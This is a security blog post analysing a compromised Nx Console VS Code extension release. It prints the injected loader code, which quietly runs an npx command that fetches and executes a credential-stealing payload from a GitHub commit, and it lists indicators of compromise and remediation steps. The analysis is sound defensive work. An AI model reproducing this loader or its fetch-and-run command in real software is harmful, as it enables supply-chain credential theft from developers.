Insight

Nx Console 18.95.0: A 2,777-Byte Loader Inside the VSIX

An archived Nx Console sample shows how a small activation hook launched a second-stage payload, and which indicators to check on an affected machine.

Nx Console 18.95.0: A 2,777-Byte Loader Inside the VSIX

Nx Console 18.95.0 contained a small activation hook that launched code from a GitHub commit. Most of the extension remained familiar. The loader changed one location in extension/main.js and delegated the credential theft to another package.

The maintainers’ advisory records an approximately 18-minute Microsoft Marketplace exposure window on 18 May 2026, and about 36 minutes on OpenVSX. Its later update reports around 6,000 VS Code activations, with store download counts much lower. Those measures should not be treated as interchangeable counts of compromised machines.

We obtained the archived VSIX after the release was withdrawn. This is a retrospective analysis of that sample.

Identify the sample

The archived package had this SHA-256:

1a4afce34918bdc74ae3f31edaffffaa0ee074d83618f53edfd88137927340b8  nrwl.angular-console-18.95.0.vsix

The bundled runtime was 7,719,408 bytes and hashed to:

b0cefb66b953e5184b6adb3035e9e267335ac5eabfe1848e07834777b9397b74  main.js

The original comparison located the 2,777-byte addition at offset 7,703,700 in main.js. The other compared package contents were unchanged. The StepSecurity investigation supplied the offset and reported on the later stages.

To extract the bytes for inspection:

dd if=main.js of=injection.js bs=1 skip=7703700 count=2777

How activation reached the shell

This loader excerpt is retained for inspection from the original analysis:

var U0 = require('vscode'),
	G5t = '558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2',
	xfn = 'nxConsole.mcpExtensionInstalledSha',
	$xs = new Set([127, 9009]);

async function Uxs(t, e) {
	try {
		let n = `npx -y github:nrwl/nx#${G5t}`,
			i = new U0.Task(
				{ type: 'nx' },
				U0.TaskScope.Workspace,
				'install-mcp-extension',
				'nx',
				new U0.ShellExecution(n, {
					cwd: e,
					env: { ...process.env, NX_CONSOLE: 'true' }
				})
			);
		i.presentationOptions.focus = !1;
		await new Promise((o) => {
			let l = U0.tasks.onDidEndTaskProcess((f) => {
				if (f.execution.task === i) {
					l.dispose();
					let m = f.exitCode ?? 0;
					m === 0
						? t.globalState.update(xfn, G5t)
						: $xs.has(m) ||
							oA('Failed to install MCP extension', new Error(`Process exited with code ${m}`));
					o();
				}
			});
			U0.tasks.executeTask(i).then(void 0, (f) => {
				l.dispose();
				oA(
					'Failed to start MCP extension install task',
					f instanceof Error ? f : new Error(String(f))
				);
				o();
			});
		});
	} catch (n) {
		oA(
			'Unexpected error while installing MCP extension',
			n instanceof Error ? n : new Error(String(n))
		);
	}
}

function Efn(t) {
	if (t.globalState.get(xfn) !== G5t) {
		let n = U0.workspace.workspaceFolders && U0.workspace.workspaceFolders[0].uri.fsPath;
		Uxs(t, n ?? void 0);
	}
	// ... legitimate-looking "nx.init" command registration below
}

The activation function checked nxConsole.mcpExtensionInstalledSha. If it did not match the embedded commit, the loader created a VS Code Task running npx -y github:nrwl/nx#558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2. A zero exit status stored the commit value, suppressing another run through this path.

The task used the workspace directory and inherited process.env. Its install-mcp-extension name made it resemble setup work. Setting presentationOptions.focus to false kept it from taking terminal focus, though the task remained visible. Exit codes 127 and 9009 bypassed the error reporter.

Those choices help explain why the change could be overlooked. They do not establish that an EDR would ignore it. A VS Code Task still starts a process that endpoint monitoring may observe.

The referenced commit reportedly contained a 498,567-byte index.js and a package.json that exposed it as an executable. The first-stage package therefore carried the invocation rather than the full stealer.

Evidence for the second stage

We did not obtain the second-stage index.js. The details here come from the linked investigations and advisory. The Git objects were unavailable during the original review; that does not prove why they were unavailable.

The reports describe collection from cloud credentials and local secret stores, including GitHub tokens, SSH keys and 1Password CLI access when a session was available. They describe exfiltration over HTTPS, the GitHub API and DNS. The original investigation also cited collection of ~/.claude/settings.json; treat that as a reported target rather than a behaviour reproduced in this analysis.

A reported macOS persistence path used ~/.local/share/kitty/cat.py and a LaunchAgent. The original report identified api.github.com/search/commits?q=firedalazer as a resolver for subsequent payload locations. The retained indicators below distinguish those reported second-stage artifacts from the loader we inspected.

Claims about successful downstream package poisoning would require separate evidence. The presence of signing-related code or stolen credentials alone does not prove a malicious package was published with valid provenance.

Indicators of compromise

Artifact hashes retained from the original investigation. Baseline and remediated builds are comparison artifacts.

ArtifactSHA-256
VSIX nrwl.angular-console-18.95.0.vsix1a4afce34918bdc74ae3f31edaffffaa0ee074d83618f53edfd88137927340b8
Patched main.js inside that VSIXb0cefb66b953e5184b6adb3035e9e267335ac5eabfe1848e07834777b9397b74
Stage-2 index.js (from the orphan commit, 498,567 bytes)e7347d90653efc565f03733a95e9209d78f9cfa81e31ff2b2dd9d48d75a4b8b1
Dropper package.json (from the orphan commit)43f2b001846c4966073ebffa5be8f15e491a1e7d32bbd805d57406ff540e0dd9
Clean baseline 18.94.0228a2cf081d4cbea9b91cde14a8f9c4a4d003e7f32431496953fd6bac266f5a3
Remediated 18.100.0cb86f4f223daa54467c7782a0d8607e9c84e2bb633e6f0e51d9a19579e200990

Git objects in nrwl/nx (unavailable during the original investigation):

  • Orphan commit 558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2.
  • Tree ba642fe2c7c65e42dd7f6444b83023dc6827e08c.
  • index.js blob acfc3f957a63b4cde93ff645f2b6bf26a8ed1bbf.
  • package.json blob 9d88f040c44b5f4d5f9db15ff89310776c168e99.

Network indicators:

  • api.github.com/search/commits?q=firedalazer: reported kitty backdoor resolver.
  • AWS metadata probes against 169.254.169.254 and 169.254.170.2.
  • Vault probe to 127.0.0.1:8200.
  • Sigstore endpoints fulcio.sigstore.dev and rekor.sigstore.dev (legitimate services reportedly used by the payload).

Reported host indicators for the kitty backdoor:

IndicatorKind
~/.local/share/kitty/cat.pyPath
~/Library/LaunchAgents/com.user.kitty-monitor.plistPath
/var/tmp/.gh_update_statePath
/tmp/kitty-*Path
Python process running cat.pyProcess
Any process with __DAEMONIZED=1 in its environmentProcess

VS Code state to check:

  • Extension global state key nxConsole.mcpExtensionInstalledSha with value 558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2 records a successful task exit through the inspected loader. Its absence does not rule out execution or a later cleanup.

Responding to an affected installation

Follow the official remediation, including updating to a patched release, stopping the identified malicious processes and removing persistence. On macOS, unload the LaunchAgent before deleting it. Rotate credentials reachable from the machine and review the affected accounts’ access logs.

The detail worth retaining is the activation-to-shell path and its exact commit. Comparing the changed bytes with the previous release gives a reviewer a few kilobytes to read instead of a 7.7 MB bundle.

This post also appears on the RiskyPlugins blog.